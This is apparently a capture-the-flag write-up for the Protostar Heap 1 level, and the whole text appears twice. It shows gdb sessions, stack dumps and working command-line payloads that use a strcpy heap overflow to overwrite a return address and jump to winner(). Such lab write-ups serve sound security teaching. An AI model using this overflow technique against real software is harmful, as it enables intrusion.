Exploit Exercises - Protostar Heap 1

This level is different. Finding a vulnerabilty in the code is pretty easy:

strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

No buffer length checks!

We can crash our program simply:

$ ./heap1 `python -c "print 'A'*30"` aaa
Segmentation fault

But when you use smaller input:

$ ./heap1 `python -c "print 'A'*20"` aaa
and that's a wrap folks!

It runs pretty well without any errors.

So I was curious what is going on and started gdb. Then I overflowed input by 1 byte:

(gdb) r `python -c "print 'A'*21"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*21"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8040041 <Address 0x8040041 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c

I noticed that there’s 0x41 byte inside strcpy() function. That looked weird, so I run the program again, but with 2 bytes overflow:

(gdb) r `python -c "print 'A'*22"` aaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*22"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8004141 <Address 0x8004141 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c

Definitely, we are rewriting the address of a buffer in strcpy(). As the second parameter is aaa then we are in the second strcpy() function.

At this moment I realised the vector using which I can exploit this app. As we can rewrite the address in which the second strcpy() writes, we can rewrite it by the return address from the stack. Thus the second strcpy() will write the second input parameter into it. That’s how we can change the program flow.

Now I found the return address. Let’s examine the stack after the crash:

(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
(gdb) x/2x $esp
0xbffff640:    0x00000000    0x00000000
(gdb) x/20x $esp
0xbffff640:    0x00000000    0x00000000    0xbffff678    0x0804855a
0xbffff650:    0x41414141    0xbffff899    0x08048580    0xbffff678
0xbffff660:    0xb7ec6365    0x0804a008    0x0804a028    0xb7fd7ff4
0xbffff670:    0x08048580    0x00000000    0xbffff6f8    0xb7eadc76
0xbffff680:    0x00000003    0xbffff724    0xbffff734    0xb7fe1848

0x41414141 is the address of a buffer for strcpy(). There’s 0xbffff899 after it, it’s an address of aaa string (we can see it from the error). Before 0x41414141 there are two addresses. Probably it’s saved eip and ebp registers. Let’s look at registers:

(gdb) info registers 
...
esp            0xbffff640    0xbffff640
ebp            0xbffff648    0xbffff648
...
eip            0xb7f09df4    0xb7f09df4 <*__GI_strcpy+20>
...

Our assumption seems to be plausible.

So we need to rewrite the address i2->name by the address of the return address on the stack. We start rewriting after 20 byte and we know the address of the return address on the stack is 2 words ahead, so it is 0xbffff640 + 3*4 = 0xbffff64c. Let’s try to rewrite i2->name, run gdb and set breakpoint on the second strcpy() call:

(gdb) b* 0x08048555
Breakpoint 1 at 0x8048555: file heap1/heap1.c, line 32.
(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC

Breakpoint 1, 0x08048555 in main (argc=3, argv=0xbffff724) at heap1/heap1.c:32
32    in heap1/heap1.c

Now if we look at our stack we can see that it was successfully rewritten by 0x43434343 (see the value on 0xbffff64c memory address):

(gdb) s
...
(gdb) s
...
(gdb) x/24x $esp-12
0xbffff634:    0xb7ff6210    0xbffff87b    0xb7f09de0    0x00000000
0xbffff644:    0x00000000    0xbffff678    0x43434343    0xbffff64c
0xbffff654:    0xbffff894    0x08048580    0xbffff678    0xb7ec6365
0xbffff664:    0x0804a008    0x0804a028    0xb7fd7ff4    0x08048580
0xbffff674:    0x00000000    0xbffff6f8    0xb7eadc76    0x00000003
0xbffff684:    0xbffff724    0xbffff734    0xb7fe1848    0xbffff6e0

Now we need to replace the second parament with the address of winner() function. The address of the function we can easily get using readelf:

$ readelf -Ws heap1 | grep winner
    55: 08048494    37 FUNC    GLOBAL DEFAULT   14 winner

Or directly from gdb:

(gdb) print winner
$1 = {void (void)} 0x8048494 <winner>

Now we can run out exploit:

(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484241540

Program received signal SIGILL, Illegal instruction.
0xbffff602 in ?? ()

If we run it from console only, it won’t work because of environment variable. Let’s find the correct address:

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffffdb0 "aaa") at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
(gdb) x/8x $esp
0xbffffb60:    0x00000000    0x00000000    0xbffffb98    0x0804855a
0xbffffb70:    0x41414141    0xbffffdb0    0x08048580    0xbffffb98

Calculate the offset like before 0xbffffb60 + 12 = 0x0xbffffb6c and run exploit in console:

$ /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x6c\xfb\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484242022
Segmentation fault

This level is different. Finding a vulnerabilty in the code is pretty easy:

strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

No buffer length checks!

We can crash our program simply:

$ ./heap1 `python -c "print 'A'*30"` aaa
Segmentation fault

But when you use smaller input:

$ ./heap1 `python -c "print 'A'*20"` aaa
and that's a wrap folks!

It runs pretty well without any errors.

So I was curious what is going on and started gdb. Then I overflowed input by 1 byte:

(gdb) r `python -c "print 'A'*21"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*21"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8040041 <Address 0x8040041 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c

I noticed that there’s 0x41 byte inside strcpy() function. That looked weird, so I run the program again, but with 2 bytes overflow:

(gdb) r `python -c "print 'A'*22"` aaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*22"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8004141 <Address 0x8004141 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c

Definitely, we are rewriting the address of a buffer in strcpy(). As the second parameter is aaa then we are in the second strcpy() function.

At this moment I realised the vector using which I can exploit this app. As we can rewrite the address in which the second strcpy() writes, we can rewrite it by the return address from the stack. Thus the second strcpy() will write the second input parameter into it. That’s how we can change the program flow.

Now I found the return address. Let’s examine the stack after the crash:

(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
(gdb) x/2x $esp
0xbffff640:    0x00000000    0x00000000
(gdb) x/20x $esp
0xbffff640:    0x00000000    0x00000000    0xbffff678    0x0804855a
0xbffff650:    0x41414141    0xbffff899    0x08048580    0xbffff678
0xbffff660:    0xb7ec6365    0x0804a008    0x0804a028    0xb7fd7ff4
0xbffff670:    0x08048580    0x00000000    0xbffff6f8    0xb7eadc76
0xbffff680:    0x00000003    0xbffff724    0xbffff734    0xb7fe1848

0x41414141 is the address of a buffer for strcpy(). There’s 0xbffff899 after it, it’s an address of aaa string (we can see it from the error). Before 0x41414141 there are two addresses. Probably it’s saved eip and ebp registers. Let’s look at registers:

(gdb) info registers 
...
esp            0xbffff640    0xbffff640
ebp            0xbffff648    0xbffff648
...
eip            0xb7f09df4    0xb7f09df4 <*__GI_strcpy+20>
...

Our assumption seems to be plausible.

So we need to rewrite the address i2->name by the address of the return address on the stack. We start rewriting after 20 byte and we know the address of the return address on the stack is 2 words ahead, so it is 0xbffff640 + 3*4 = 0xbffff64c. Let’s try to rewrite i2->name, run gdb and set breakpoint on the second strcpy() call:

(gdb) b* 0x08048555
Breakpoint 1 at 0x8048555: file heap1/heap1.c, line 32.
(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC

Breakpoint 1, 0x08048555 in main (argc=3, argv=0xbffff724) at heap1/heap1.c:32
32    in heap1/heap1.c

Now if we look at our stack we can see that it was successfully rewritten by 0x43434343 (see the value on 0xbffff64c memory address):

(gdb) s
...
(gdb) s
...
(gdb) x/24x $esp-12
0xbffff634:    0xb7ff6210    0xbffff87b    0xb7f09de0    0x00000000
0xbffff644:    0x00000000    0xbffff678    0x43434343    0xbffff64c
0xbffff654:    0xbffff894    0x08048580    0xbffff678    0xb7ec6365
0xbffff664:    0x0804a008    0x0804a028    0xb7fd7ff4    0x08048580
0xbffff674:    0x00000000    0xbffff6f8    0xb7eadc76    0x00000003
0xbffff684:    0xbffff724    0xbffff734    0xb7fe1848    0xbffff6e0

Now we need to replace the second parament with the address of winner() function. The address of the function we can easily get using readelf:

$ readelf -Ws heap1 | grep winner
    55: 08048494    37 FUNC    GLOBAL DEFAULT   14 winner

Or directly from gdb:

(gdb) print winner
$1 = {void (void)} 0x8048494 <winner>

Now we can run out exploit:

(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484241540

Program received signal SIGILL, Illegal instruction.
0xbffff602 in ?? ()

If we run it from console only, it won’t work because of environment variable. Let’s find the correct address:

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffffdb0 "aaa") at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
(gdb) x/8x $esp
0xbffffb60:    0x00000000    0x00000000    0xbffffb98    0x0804855a
0xbffffb70:    0x41414141    0xbffffdb0    0x08048580    0xbffffb98

Calculate the offset like before 0xbffffb60 + 12 = 0x0xbffffb6c and run exploit in console:

$ /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x6c\xfb\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484242022
Segmentation fault